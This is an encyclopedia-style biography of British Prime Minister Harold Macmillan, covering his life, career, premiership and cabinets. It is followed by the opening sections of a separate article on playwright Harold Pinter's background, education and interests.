              20 December 1955 13 January 1957
            


            
              	Monarch

              	Elizabeth II
            


            
              	PrimeMinister

              	Anthony Eden
            


            
              	Precededby

              	Rab Butler
            


            
              	Succeededby

              	Peter Thorneycroft
            


            
              	
                

              
            


            
              	Born

              	10 February 1894

              Brixton, London, England
            


            
              	Died

              	29 December 1986, age 92

              Chelwood Gate, Sussex, England
            


            
              	Politicalparty

              	Conservative
            


            
              	Spouse

              	Dorothy Macmillan
            


            
              	Almamater

              	Balliol College, Oxford
            


            
              	Religion

              	Church of England
            

          


          Maurice Harold Macmillan, 1st Earl of Stockton, OM, PC ( 10 February 1894  29 December 1986), was a British Conservative politician and Prime Minister of the United Kingdom from 1957 to 1963.


          Nicknamed ' Supermac', he did not use his first name and was known as Harold Macmillan before elevation to the peerage.


          When asked what represented the greatest challenge for a statesman, Macmillan replied: Events, my dear boy, events.


          


          Early life


          Harold Macmillan was born in Brixton, London, England to Maurice Crawford Macmillan (1853-1936) and Helen Artie Tarleton Belles (1856-1937). His paternal grandfather, Daniel Macmillan (1813-1857), was the Scottish crofter who would go on to found Macmillan Publishers. Harold was first educated at Summer Fields School and then at Eton but expelled - according to Woodrow Wyatt - for buggery, though an alternative version is that he left due to illness. He attended Balliol College, Oxford, although he only completed two years of his classics degreetaking a first in Modsbefore the outbreak of the First World War. He served with distinction as a captain in the Grenadier Guards during the war and was wounded on three occasions. During the Battle of the Somme, he spent an entire day wounded and lying in a foxhole with a bullet in his pelvis, reading the Greek writer Aeschylus in the original language.


          Macmillan lost so many of his fellow students during the war that afterwards he refused to return to Oxford, saying the university would never be the same.


          He was a director of the Great Western Railway before rail nationalisation.


          


          Marriage


          He married Lady Dorothy Cavendish, daughter of Victor Cavendish, 9th Duke of Devonshire in 1920. Between 1929 and 1935 Lady Dorothy had a long affair with the Conservative politician Robert Boothby, in the public view of Westminster and established society. Boothby was widely rumoured to have been the father of Macmillan's youngest daughter Sarah. The stress caused by this may have contributed to Macmillan's nervous breakdown in 1931. Lady Dorothy died in 1966, aged 65.


          They had four children:


          
            	Maurice Macmillan, Viscount Macmillan of Ovenden (1921-1984).


            	Lady Caroline Faber (born 1923).


            	Lady Catherine Amery (1926-1991).


            	Sarah Macmillan (1930-1970)

          


          


          Political career (1924-1957)


          Elected to the House of Commons in 1924 for Stockton-on-Tees, he lost his seat in 1929, only to return in 1931. Macmillan spent the 1930s on the backbenches, with his anti-appeasement ideals and sharp criticism of Stanley Baldwin and Neville Chamberlain serving to isolate him.


          In the Second World War he at last attained office, serving in the wartime coalition government in the Ministry of Supply and the Colonial Ministry before attaining real power upon being sent to North Africa in 1942 as British government representative to the Allies in the Mediterranean. During this assignment Macmillan worked closely with Dwight Eisenhower, a friendship that would prove crucial in his later career.


          He returned to England after the war and was Secretary of State for Air for two months in 1945. He lost his seat in the landslide Labour victory that year, but soon returned to parliament in a November 1945 by-election in Bromley.


          With the Conservative victory in 1951 he became Minister of Housing under Winston Churchill and fulfilled his conference promise to build 300,000 houses per year. He then served as Minister of Defence from October 1954. By this time he had lost the wire-rimmed glasses, toothy grin and brylcreemed hair of wartime photographs, and instead grew his hair thick and glossy, had his teeth capped and walked with the ramrod bearing of a former Guards officer, acquiring the distinguished appearance of his later career.


          He then served as Foreign Secretary in April-December 1955 and Chancellor of the Exchequer 1955-1957 under Anthony Eden. In the latter job he insisted that Eden's de facto deputy Rab Butler not be treated as senior to him, and threatened resignation until he was allowed to cut bread and milk subsidies. During the Suez Crisis in the description of opposition Labour Shadow Chancellor Harold Wilson, MacMillan was "First In, First Out": first very supportive of the invasion, then a prime mover in Britain's withdrawal in the wake of the financial crisis.


          Harold Macmillan became Prime Minister and leader of the Conservative Party after Eden's resignation in January 1957, surprising observers with his appointment over the favourite, Rab Butler.


          


          Prime Minister (1957-1963)


          


          Independent nuclear deterrent


          Following the technical failures of a British independent nuclear deterrent with the Blue Streak and the Blue Steel projects, and the unilateral cancellation of the Skybolt missile system by US Defence Secretary Robert McNamara, Macmillan negotiated the delivering of American Polaris missiles to the UK under the Nassau agreement in December 1962. Previously he had agreed to base 60 Thor missiles in Britain under joint control, and since late 1957 the American McMahon Act had been eased to allow Britain more access to nuclear technology. These negotiations were the basis for Peter Cook's satire of Macmillan in Beyond the Fringe.


          Macmillan was a force in the successful negotiations leading to the signing of the 1962 Partial Test Ban Treaty by Britain, the United States and the Soviet Union. His previous attempt to create an agreement at the May 1960 summit in Paris had collapsed due to the Gary Powers affair.


          


          EEC


          Britain's application to join the EEC was vetoed by Charles de Gaulle ( 29 January 1963), in part due to de Gaulle's fear that "the end would be a colossal Atlantic Community dependent on America" and in part in anger at the Anglo-American nuclear deal.


          


          Economy


          Macmillan brought the monetary concerns of the Exchequer into office; the economy was his prime concern. However, Britain's balance of payments problems led to the imposition of a wage freeze in 1961 and this caused the government to lose popularity and led to a series of by-election defeats. He organised a major cabinet change in July 1962, but continued to lose support from within his party. The cabinet changes were widely seen as a sign of panic, and the young Liberal MP Jeremy Thorpe said of Macmillan's dismissal of so many of his colleagues, "greater love hath no man than this, than to lay down his friends for his life".


          His One Nation approach to the economy was to seek high employment. This contrasted with his mainly monetarist Treasury ministers who argued that the support of sterling required strict controls on money and hence an unavoidable rise in unemployment. Their advice was rejected and in January 1958 the three Treasury ministers Peter Thorneycroft, the Chancellor of the Exchequer, Nigel Birch, Economic Secretary to the Treasury, and Enoch Powell, the Financial Secretary to the Treasury, resigned. Macmillan brushed aside this incident as "a little local difficulty".


          Macmillan supported the creation of the National Incomes Commission as a means to institute controls on income as part of his growth-without-inflation policy. A further series of subtle indicators and controls were also introduced during his premiership.


          


          Foreign policy


          Macmillan also took close control of foreign policy. He worked to narrow the post- Suez rift with the United States, where his wartime friendship with Dwight D. Eisenhower was key; the two had a productive conference in Bermuda as early as March 1957. The cordial relationship remained after the election of John F. Kennedy. Macmillan also saw the value of rapprochement with Europe and sought belated entry to the European Economic Community (EEC), and explored the possibility of a European Free Trade Area (EFTA).
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              Harold Macmillan and President Kennedy in Florida in 1962
            

          


          Macmillan's term saw the first phase of the African independence movement, beginning with the granting of independence to the Gold Coast, as Ghana, in 1957. His celebrated "wind of change" speech (February 1960) is considered a landmark in this process. Ghana and Malaya were granted independence in 1957, Nigeria in 1960 and Kenya in 1963. However in the Middle East Macmillan ensured Britain remained a force, intervening over Iraq in 1958 and 1960 and becoming involved in the affairs of Oman.


          


          Election victory (1959)


          He led the Conservatives to victory in the October 1959 general election, increasing his party's majority from 67 to 107 seats. The successful campaign was based on the economic improvements achieved, the slogan "Life's Better Under the Conservatives" was matched by Macmillan's own remark, "indeed let us be frank about it - most of our people have never had it so good." , usually paraphrased as "You've never had it so good".


          Critics contended that the actual economic growth rate was weak and distorted by increased defence spending.


          


          Trivia


          The Supermac label was applied by cartoonist Victor 'Vicky' Weisz. It was intended as mockery, but backfired, coming to be used in a neutral or friendly fashion. Weisz tried to label him with other names, including "Mac the Knife" (at the time of widespread cabinet changes in 1962; see below), but none of these caught on.


          Macmillan had a reputation for being unflappable and witty in public, though he did admit to his wife that he was terrified before each Prime Minister's Question Time (usually on a Tuesday) in the Commons. On September 29, 1960, Soviet leader Nikita Khrushchev twice interrupted a speech by Macmillan at the United Nations by shouting out "we will bury you" and pounding his desk. Macmillan famously replied, "I should like that to be translated if he wants to say anything".


          Responding to a remark made by Harold Wilson about not having boots in which to go to school, Macmillan retorted: "If Mr Wilson did not have boots to go to school, it is because he was too big for them!"


          On 26 November 1950, Lady Dorothy Macmillan's brother Edward Cavendish, 10th Duke of Devonshire, had a heart attack. He died while being attended by the suspected serial killer John Bodkin Adams, who was later cleared of murdering a patient. Although the duke had not seen a doctor in the 14 days before his death, the coroner was not notified. Adams signed the death certificate himself. Thirteen days earlier, Edith Alice Morrell  another patient of Adams  had died. Adams was tried in 1957 for her murder but acquitted. A charge of murdering another patient, Gertrude Hullett, was dropped.


          Edward Cavendish's nephew, Andrew Cavendish, 11th Duke of Devonshire, was later appointed Parliamentary Under-Secretary for Commonwealth Relations from 1960 to 1962, Minister of State at the Commonwealth Relations Office from 1962 to 1963, and Minister for Colonial Affairs from 1963 to 1964. He described these appointments by his uncle as "the greatest act of nepotism ever", saying "I think we'd given him some good [game] shooting".


          


          Retirement and death (1963-1986)


          The Profumo affair of spring and summer 1963 permanently damaged the credibility of Macmillan's government. He survived a Parliamentary vote with a majority of 69, one less than had been thought necessary for his survival, and was afterwards joined in the smoking-room only by his son and son-in-law, not by any Cabinet minister. Nonetheless, Butler and Maudling (who was very popular with backbench MPs at that time) declined to push for his resignation, especially after a tide of support from Conservative activists around the country.


          However, the affair may have exacerbated Macmillan's ill-health. He was taken ill on the eve of the Conservative Party Conference, diagnosed incorrectly with inoperable prostate cancer. Consequently, he resigned on 18 October 1963. He was succeeded by the Foreign Secretary Alec Douglas-Home in a controversial move; it was alleged that Macmillan had pulled strings and utilised the party's grandees, nicknamed "The Magic Circle", to ensure that Butler was not chosen as his successor.


          Macmillan initially refused a peerage and retired from politics in September 1964. He did, however, accept the distinction of the Order of Merit from The Queen. After retiring, he took up the chairmanship of his family's publishing house, Macmillan Publishers. He then brought out a six-volume autobiography; the read was described by his political enemy Enoch Powell as inducing "a sensation akin to that of chewing on cardboard". His wartime diaries, published after his death, were much better-received.


          Over the next 20 years he made the occasional political intervention, particularly after Margaret Thatcher became Tory leader and Macmillan's premiership came under attack from the monetarists in the party. Macmillan is commonly thought to have likened Thatcher's policy of privatisation to "selling the family silver". In fact what he did say (at a dinner of the Tory Reform Group at the Royal Overseas League on November 8 1985) was that the sale of assets was commonplace amongst individuals or states when they encountered financial difficulties: "First of all the Georgian silver goes. And then all that nice furniture that used to be in the salon. Then the Canalettos go." Profitable parts of the steel industry and the railways had been privatised, along with British Telecom: "They were like two Rembrandts still left." Macmillan's speech was much commented on and a few days later Macmillan made a speech in the Lords to clarify what he had meant:


          
            	When I ventured the other day to criticise the system I was, I am afraid, misunderstood. As a Conservative, I am naturally in favour of returning into private ownership and private management all those means of production and distribution which are now controlled by state capitalism. I am sure they will be more efficient. What I ventured to question was the using of these huge sums as if they were income.

          


          In 1984 he finally accepted a peerage and was created Earl of Stockton and Viscount Macmillan of Ovenden. In the last month of his life, he observed:


          
            	"Sixty-three years ago ... the unemployment figure [in Stockton-on-Tees] was then 29%. Last November [1986] ... the unemployment [there] is 28%. A rather sad end to one's life."

          


          In the House of Lords in the 1980s he praised the miners then on strike, asserting that they had "beaten the Kaiser's Army" and "beaten Hitler's Army". Historian Andrew Roberts checked each of the three occasions on which Macmillan was wounded in the First World War; on each of these the miners had also been on strike.


          Macmillan died at Birch Grove in Sussex in 1986 aged 92 years and 322 days  the greatest age attained by a British Prime Minister until surpassed by James Callaghan on 26 March 2005.


          


          Titles from birth to death
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              The Macmillan family graves in 2000 at St.Giles Church, Horsted Keynes. Harold Macmillan's grave is on the right.
            

          


          
            	Harold Macmillan, Esq ( 10 February 1894 29 October 1924)


            	Harold Macmillan, Esq, MP ( 29 October 1924 30 May 1929)


            	Harold Macmillan, Esq ( 30 May 1929 4 November 1931)


            	Harold Macmillan, Esq, MP ( 4 November 19311942)


            	The Right Honourable Harold Macmillan, MP (1942 26 July 1945)


            	The Right Honourable Harold Macmillan ( 26 July 1945November 1945)


            	The Right Honourable Harold Macmillan, MP (November 1945September 1964)


            	The Right Honourable Harold Macmillan (September 1964 2 April 1976)


            	The Right Honourable Harold Macmillan, OM ( 2 April 1976 24 February 1984)


            	The Right Honourable The Earl of Stockton, OM, PC ( 24 February 1984 29 December 1986)

          


          Cabinets


          


          January 1957 - October 1959


          
            	Harold Macmillan: Prime Minister


            	Lord Kilmuir: Lord Chancellor


            	Lord Salisbury: Lord President of the Council


            	Rab Butler: Lord Privy Seal and Secretary of State for the Home Department


            	Peter Thorneycroft: Chancellor of the Exchequer


            	Selwyn Lloyd: Secretary of State for Foreign Affairs


            	Alan Lennox-Boyd: Secretary of State for the Colonies


            	Lord Home: Secretary of State for Commonwealth Relations


            	Sir David Eccles: President of the Board of Trade


            	Charles Hill: Chancellor of the Duchy of Lancaster


            	Lord Hailsham: Minister of Education


            	John Scott Maclay: Secretary of State for Scotland


            	Derick Heathcoat Amory: Minister of Agriculture


            	Iain Macleod: Minister of Labour and National Service


            	Harold Arthur Watkinson: Minister of Transport and Civil Aviation


            	Duncan Edwin Sandys: Minister of Defence


            	Lord Mills: Minister of Power


            	Henry Brooke: Minister of Housing and Local Government and Welsh Affairs

          


          Change


          
            	March 1957 - Lord Home succeeds Lord Salisbury as Lord President, remaining also Commonwealth Relations Secretary.


            	September 1957 - Lord Hailsham succeeds Lord Home as Lord President, Home remaining Commonwealth Relations Secretary. Geoffrey Lloyd succeeds Hailsham as Minister of Education. The Chief Secretary to the Treasury, Reginald Maudling, enters the Cabinet.


            	January 1958 - Derick Heathcoat Amory succeeds Peter Thorneycroft as Chancellor of the Exchequer. John Hare succeeds Amory as Minister of Agriculture.

          


          


          October 1959 - July 1960


          
            	Harold Macmillan: Prime Minister


            	Lord Kilmuir: Lord Chancellor


            	Lord Home: Lord President of the Council and Secretary of State for Commonwealth Relations


            	Lord Hailsham: Lord Privy Seal and Minister of Science


            	Derick Heathcoat Amory: Chancellor of the Exchequer


            	Rab Butler: Secretary of State for the Home Department


            	Selwyn Lloyd: Secretary of State for Foreign Affairs


            	Iain Macleod: Secretary of State for the Colonies


            	Reginald Maudling: President of the Board of Trade


            	Charles Hill: Chancellor of the Duchy of Lancaster


            	Sir David Eccles: Minister of Education


            	Lord Mills: Chief Secretary to the Treasury


            	Ernest Marples: Minister of Transport


            	Duncan Edwin Sandys: Minister of Aviation


            	Harold Arthur Watkinson: Minister of Defence


            	John Scott Maclay: Secretary of State for Scotland


            	Edward Heath: Minister of Labour and National Service


            	John Hare: Minister of Agriculture


            	Henry Brooke: Minister of Housing and Local Government and Welsh Affairs

          


          


          July 1960 - October 1961


          
            	Harold Macmillan: Prime Minister


            	Lord Kilmuir: Lord Chancellor


            	Lord Hailsham: Lord President of the Council and Minister of Science


            	Edward Heath: Lord Privy Seal


            	Selwyn Lloyd: Chancellor of the Exchequer


            	Rab Butler: Secretary of State for the Home Department


            	Lord Home: Secretary of State for Foreign Affairs


            	Iain Macleod: Secretary of State for the Colonies


            	Duncan Edwin Sandys: Secretary of State for Commonwealth Relations


            	Reginald Maudling: President of the Board of Trade


            	Charles Hill: Chancellor of the Duchy of Lancaster


            	Sir David Eccles: Minister of Education


            	Lord Hailsham: Minister of Science


            	Lord Mills: Chief Secretary to the Treasury


            	Ernest Marples: Minister of Transport


            	Peter Thorneycroft: Minister of Aviation


            	Harold Arthur Watkinson: Minister of Defence


            	John Scott Maclay: Secretary of State for Scotland


            	John Hare: Minister of Labour and National Service


            	Christopher Soames: Minister of Agriculture


            	Henry Brooke: Minister of Housing and Local Government and Welsh Affairs

          


          


          October 1961 - July 1962


          
            	Harold Macmillan: Prime Minister


            	Lord Kilmuir: Lord Chancellor


            	Lord Hailsham: Lord President of the Council and Minister of Science


            	Edward Heath: Lord Privy Seal


            	Selwyn Lloyd: Chancellor of the Exchequer


            	Rab Butler: Secretary of State for the Home Department


            	Lord Home: Secretary of State for Foreign Affairs


            	Iain Macleod: Secretary of State for the Colonies


            	Duncan Edwin Sandys: Secretary of State for Commonwealth Relations


            	Frederick Erroll: President of the Board of Trade


            	Iain Macleod: Chancellor of the Duchy of Lancaster


            	Sir David Eccles: Minister of Education


            	Henry Brooke: Chief Secretary to the Treasury


            	Ernest Marples: Minister of Transport


            	Peter Thorneycroft: Minister of Aviation


            	Harold Arthur Watkinson: Minister of Defence


            	John Scott Maclay: Secretary of State for Scotland


            	John Hare: Minister of Labour and National Service


            	Christopher Soames: Minister of Agriculture


            	Charles Hill: Minister of Housing and Local Government and Welsh Affairs


            	Lord Mills: Minister without Portfolio

          


          


          July 1962 - October 1963


          In a radical reshuffle dubbed " The Night of the Long Knives", Macmillan sacked a third of his Cabinet and instituted many other changes.


          
            	Harold Macmillan: Prime Minister


            	Rab Butler: Deputy Prime Minister and First Secretary of State


            	Lord Dilhorne: Lord Chancellor


            	Lord Hailsham: Lord President of the Council and Minister of Science


            	Edward Heath: Lord Privy Seal


            	Reginald Maudling: Chancellor of the Exchequer


            	Henry Brooke: Secretary of State for the Home Department


            	Lord Home: Secretary of State for Foreign Affairs


            	Iain Macleod: Secretary of State for the Colonies


            	Duncan Edwin Sandys: Secretary of State for Commonwealth Relations


            	Frederick Erroll: President of the Board of Trade


            	Iain Macleod: Chancellor of the Duchy of Lancaster


            	Sir Edward Boyle: Minister of Education


            	John Boyd-Carpenter: Chief Secretary to the Treasury


            	Ernest Marples: Minister of Transport


            	Julian Amery: Minister of Aviation


            	Peter Thorneycroft: Minister of Defence


            	Michael Noble: Secretary of State for Scotland


            	John Hare: Minister of Labour and National Service


            	Christopher Soames: Minister of Agriculture


            	Sir Keith Joseph: Minister of Housing and Local Government and Welsh Affairs


            	Enoch Powell: Minister of Health


            	William Francis Deedes: Minister without Portfolio

          


          
            
              	Parliament of the United Kingdom
            


            
              	Precededby

              Robert Strother Stewart

              	Member of Parliament for Stockton-on-Tees

              19241929

              	Succeededby

              Frederick Fox Riley
            


            
              	Precededby

              Frederick Fox Riley

              	Member of Parliament for Stockton-on-Tees

              19311945

              	Succeededby

              George Chetwynd
            


            
              	Precededby

              Sir Edward Campbell

              	Member of Parliament for Bromley

              19451964

              	Succeededby

              John Hunt
            


            
              	Political offices
            


            
              	Precededby

              Sir Archibald Sinclair

              	Secretary of State for Air

              1945

              	Succeededby

              The Viscount Stansgate
            


            
              	Precededby

              The Earl Alexander of Tunis

              	Minister of Defence

              19541955

              	Succeededby

              Selwyn Lloyd
            


            
              	Precededby

              Sir Anthony Eden

              	Foreign Secretary

              1955

              	Succeededby

              Selwyn Lloyd
            


            
              	Precededby

              Rab Butler

              	Chancellor of the Exchequer

              19551957

              	Succeededby

              Peter Thorneycroft
            


            
              	Precededby

              Sir Anthony Eden

              	Leader of the British Conservative Party

              19571963

              	Succeededby

              The Earl of Home
            


            
              	Prime Minister of the United Kingdom

              19571963
            


            
              	Peerage of the United Kingdom
            


            
              	Precededby

              New Creation

              	Earl of Stockton

              19841986

              	Succeededby

              Alexander Macmillan
            

          


          
            
              	
                
                  
                    	
                      
Prime Ministers of the United Kingdom
                    
                  


                  
                    	
                  


                  
                    	
                      
                        Robert Walpole Spencer Compton, Earl of Wilmington Henry Pelham Thomas Pelham-Holles, Duke of Newcastle William Cavendish, Duke of Devonshire Newcastle John Stuart, Earl of Bute George Grenville Charles Watson-Wentworth, Marquess of Rockingham William Pitt the Elder) Augustus FitzRoy, Duke of Grafton Frederick North William Petty, Earl of Shelburne William Cavendish-Bentinck, Duke of Portland William Pitt the Younger Henry Addington William Grenville Spencer Perceval Robert Jenkinson, Earl of Liverpool George Canning Frederick John Robinson, Viscount Goderich Arthur Wellesley, Duke of Wellington Charles Grey William Lamb, Viscount Melbourne Robert Peel John Russell Edward Smith-Stanley, Earl of Derby George Hamilton-Gordon, Earl of Aberdeen Henry Temple, Viscount Palmerston Benjamin Disraeli William Gladstone Robert Gascoyne-Cecil, Marquess of Salisbury Archibald Primrose, Earl of Rosebery Arthur Balfour Henry Campbell-Bannerman H. H. Asquith David Lloyd George Andrew Bonar Law Stanley Baldwin Ramsay MacDonald Neville Chamberlain Winston Churchill Clement Attlee Anthony Eden Harold Macmillan Alec Douglas-Home Wilson Edward Heath Harold Wilson James Callaghan Margaret Thatcher John Major Tony Blair Gordon Brown
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Chancellors of the Exchequer of the United Kingdom
                    
                  


                  
                    	
                  


                  
                    	
                      
                        Godfrey Giffard Hervey de Stanton William Catesby John Bourchier, Baron Berners John Baker Walter Mildmay John Fortescue of Salden George Home Julius Caesar Fulke Greville Richard Weston, Earl of Portland Edward Barrett of Newburgh Francis Cottington John Colepeper Edward Hyde, Earl of Clarendon Anthony Ashley-Cooper, Earl of Shaftesbury John Duncombe John Ernle Henry Booth Richard Hampden Charles Montagu John Smith Henry Boyle Robert Harley Robert Benson William Wyndam Richard Onslow Robert Walpole James Stanhope John Aislabie John Pratt Samuel Sandys Henry Pelham William Lee Henry Bilson Legge George Lyttelton William Muarry, Earl of Mansfield William Barrington Francis Dashwood George Grenville William Dowdeswell Charles Townshend Frederick North John Cavendish William Pitt the Younger Henry Addington Henry Petty-Fitzmaurice Spencer Perceval Nicholas Vansittart Frederick John Robinson George Canning Charles Abbott John Charles Herries Henry Goulburn John Spencer Thomas Denman Robert Peel Thomas Spring Rice, Baron Monteagle Francis Baring Henry Goulburn Charles Wood Benjamin Disraeli William Gladstone George Cornewall Lewis George Ward Hunt Robert Lowe Stafford Northcote Hugh Childers Michael Hicks Beach William Vernon Harcourt Randolph Churchill George Goschen Charles Ritchie Austen Chamberlain H. H. Asquith David Lloyd George Reginald McKenna Andrew Bonar Law Robert Horne Stanley Baldwin Neville Chamberlain Philip Snowden Winston Churchill John Simon Kingsley Wood John Anderson Hugh Dalton Stafford Cripps Hugh Gaitskell Rab Butler Harold Macmillan Peter Thorneycroft Derick Heathcoat-Amory Selwyn Lloyd Reginald Maudling James Callaghan Roy Jenkins Iain Macleod Anthony Barber Denis Healey Geoffrey Howe Nigel Lawson John Major Norman Lamont Kenneth Clarke Gordon Brown Alistair Darling
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Leaders of the Conservative Party
                    
                  


                  
                    	
                  


                  
                    	House of Lords (18281922)

                    	
                      
                        The Duke of Wellington The Earl of Derby The Earl of Malmesbury The Lord Cairns The Duke of Richmond, Lennox & Gordon The Earl of Beaconsfield The Marquess of Salisbury The Duke of Devonshire The Marquess of Lansdowne The Marquess Curzon of Kedleston
                      

                    

                    	[image: ]
                  


                  
                    	
                  


                  
                    	House of Commons (18341922)

                    	
                      
                        Sir Robert Peel, Bt The Lord George Bentinck Marquess of Granby Vacant (18481849) Benjamin Disraeli with Marquess of Granby and John Charles Herries Benjamin Disraeli Sir Stafford Northcote, Bt Sir Michael Hicks Beach, Bt The Lord Randolph Churchill W.H. Smith Arthur Balfour Andrew Bonar Law Sir Austen Chamberlain
                      

                    
                  


                  
                    	
                  


                  
                    	Overall Leader (1922)

                    	
                      
                        Andrew Bonar Law Stanley Baldwin Neville Chamberlain Winston Churchill Sir Anthony Eden Harold Macmillan Sir Alec Douglas-Home Edward Heath Margaret Thatcher John Major William Hague Iain Duncan Smith Michael Howard David Cameron
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              On the steps of his house, fielding questions from the press, the afternoon of Nobel Prize in Literature announcement ( 13 Oct. 2005).
            


            
              	Occupation

              	Playwright, screenwriter, poet, actor, director, author, political activist
            


            
              	Nationality

              	British
            


            
              	Writing period

              	1950
            


            
              	Genres

              	Modernism, Theatre of the Absurd, Post-Modernism
            


            
              	Spouse(s)

              	Antonia Fraser (1980); Vivien Merchant (19561980)
            


            
              	Children

              	Six stepchildren (with Fraser); Daniel Brand (with Merchant)
            


            
              	
            


            
              	
                
                  
                    Influences
                  


                  
                    
                      	
                        
                          	
                            
                              	Samuel Beckett, Luis Buuel, Franz Kafka, Wilfred Owen, Marcel Proust, William Shakespeare, Surrealism
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                              	Michael Frayn, David Mamet, Patrick Marber, Martin McDonagh, Vclav Havel
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          Harold Pinter, CH, CBE, Nobel Laureate (born 10 October 1930), is an English playwright, screenwriter, actor, director, poet, and political activist. After publishing poetry as a teenager and acting in school plays, Pinter began his theatrical career in the mid-1950s as a rep actor using the stage name David Baron. During a writing career spanning over half a century, beginning with his first play, The Room (1957), Pinter has written 29 stage plays; 26 screenplays; many dramatic sketches, radio and TV plays; much more poetry; some short fiction; a novel; and essays, speeches, and letters. He is best known as a playwright and screenwriter, especially for The Birthday Party (1957), The Caretaker (1959), The Homecoming (1964), and Betrayal (1978), all of which he has adapted to film, and for his screenplay adaptations of others' works, such as The Servant (1963), The Go-Between (1970), The French Lieutenant's Woman (1981), The Trial (1993), and Sleuth (2007). He has also directed almost 50 stage, TV, and film productions of his own and others' works. Despite frail health since 2001, he has continued to act on stage and screen, most recently in the October 2006 critically-acclaimed production of Samuel Beckett's Krapp's Last Tape, during the 50th anniversary season of the Royal Court. He also continues to write (mostly poetry), to give interviews, and to speak about political issues.


          Pinter's dramas often involve strong conflicts among ambivalent characters fighting for verbal and territorial dominance and for their own remembered versions of the past ("Biobibliographical Notes"). Stylistically, they are marked by theatrical pauses and silences, comedic timing, provocative imagery, witty dialogue, ambiguity, irony, and menace ("Biobibliographical Notes"). Thematically ambiguous, they raise complex issues of individual human identity oppressed by social forces, the power of language, and vicissitudes of memory. Like his work, Pinter has been considered complex and contradictory (Billington, Harold Pinter 388).


          Although Pinter publicly eschewed applying the term " political theatre" to his own work in 1981, he began writing overtly political plays in the mid-'80s, reflecting his own heightening political interests and changes in his personal life. This "new direction" in his work and his " Leftist" political activism stimulated additional critical debate about Pinter's politics. Pinter, his work, and his politics have been the subject of voluminous critical commentary ("Biobibliographical Notes"; Merritt, Pinter in Play; Grimes).


          Pinter has received seventeen honorary degrees and numerous awards and honours. Academic institutions and performing arts organizations have devoted symposia, festivals, and celebrations to honoring him and his work, in recognition of his cultural influence and achievements across genres and media. In awarding Pinter the Nobel Prize in Literature in 2005, the Swedish Academy cited him for being "generally regarded as the foremost representative of British drama in the second half of the 20th century." His Nobel Lecture, Art, Truth & Politics provoked extensive public controversy, with some media commentators accusing Pinter of "anti-Americanism" (Allen-Mills). Yet Pinter emphasizes that he criticizes policies and practices of American administrations, not American citizens, many of whom he recognizes as "demonstrably sickened, shamed and angered by their government's actions" (Various Voices 243; Art, Truth & Politics 21). In January 2007 Pinter received the Lgion d'honneur, France's highest civil honour, particularly "because in seeking to capture all the facets of the human spirit, [Pinter's] works respond to the aspirations of the French public, and its taste for an understanding of man and of what is truly universal." On 11 December 2007 the British Library announced that it had purchased Pinter's literary archive for ₤1.1 million (approx. $2.24 million).


          


          Biography


          


          Personal background


          Pinter was born on 10 October 1930, in the London Borough of Hackney, to "very respectable, Jewish, lower middle class," native English parents of Eastern-European ancestry; his father, Jack Pinter (19021997), was a "ladies' tailor" and his mother, Frances (ne Moskowitz; 19041992), "kept what is called an immaculate house" and was "a wonderful cook" (Pinter, as qtd. in Gussow, Conversations with Pinter 103; Billington, Harold Pinter 12). Correcting general knowledge about Pinter's family background, Michael Billington, Pinter's authorized biographer, documents that "three of Pinter's grandparents hail from Poland and one from Odessa, making them Ashkenazic rather than Sephardic Jews" (Harold Pinter 15). His evacuation to Cornwall and Reading from London during 1940 and 1941 before and during The Blitz and facing "the life-and-death intensity of daily experience" at that time influenced him profoundly. "His prime memories of evacuation today [circa 1994] are of loneliness, bewilderment, separation and loss: themes that are in all his works" (Billington, Harold Pinter 510).


          


          Education


          Although he was a "solitary" only child, he "discovered his true potential" as a student at Hackney Downs Grammar School, "where Pinter spent the formative years from 1944 to 1948.  Partly through the school and partly through the social life of Hackney Boys' Club  he formed an almost sacerdotal belief in the power of male friendship. The friends he made in those days  most particularly Henry Woolf, Michael (Mick) Goldstein and Morris (Moishe) Wernick  have always been a vital part of the emotional texture of his life" (Billington, Harold Pinter 11; cf. Woolf). Significantly "inspired" by his English teacher, mentor, and friend Joseph Brearley, "Pinter shone at English, wrote for the school magazine and discovered a gift for acting" (Billington, Harold Pinter 1011). He wrote poetry frequently and published some of it as a teenager, as he has continued to do throughout his career. He played Romeo and Macbeth in 1947 and 1948, in productions directed by Brearley (Billington, Harold Pinter 1314). He especially enjoyed running and broke the Hackney Downs school sprinting record (Gussow, Conversations with Pinter 2829).


          


          Sport and friendship


          Pinter has been an avid cricket enthusiast most of his life, taking his cricket bat with him when he was evacuated as a pre-teenager during the Blitz (Billington, Life and Work 79; 410). In 1971 he told Gussow: "one of my main obsessions in life is the game of cricket  I play and watch and read about it all the time" (Conversations with Pinter 25). Being Chairman of the Gaieties Cricket Club and a "lifetime support[er] of the Yorkshire Cricket Club (8), Pinter devotes a section of his official website to "Cricket" ("Gaieties Cricket Club"). One wall of his study is dominated by "A huge portrait of a younger, vigorous Mr. Pinter playing cricket, one of his great passions  The painted Mr. Pinter, poised to swing his bat, has a wicked glint in his eye; testosterone all but flies off the canvas" ("Still Pinteresque" 16 [illus.]). As Billington documents, " Robert Winder observes how even Pinter's passion for cricket is far removed from a jocular, country-house pursuit: 'Harold stands for a different tradition, a more urban and exacting idea of cricket as a bold theatre of aggression'" (Harold Pinter 410).


          Other main loves or interests that he has mentioned to Gussow, Billington, and other interviewers (in varying order of priority) are family, love (of women) and sex, drinking, writing, and reading (e.g., Gussow, Conversations with Pinter 2530; Billington, Harold Pinter 716; Merritt, Pinter in Play 194). According to Billington, "If the notion of male loyalty, competitive rivalry and fear of betrayal forms a constant thread in Pinter's work from The Dwarfs onwards, its origins can be found in his teenage Hackney years. Pinter adores women, enjoys flirting with them, worships their resilience and strength. But, in his early work especially, they are often seen as disruptive influences on some pure, Platonic ideal of male friendship: one of the most crucial of all Pinter's lost Edens" (Harold Pinter 1012; cf. Woolf).


          


          Early theatrical training and stage experience


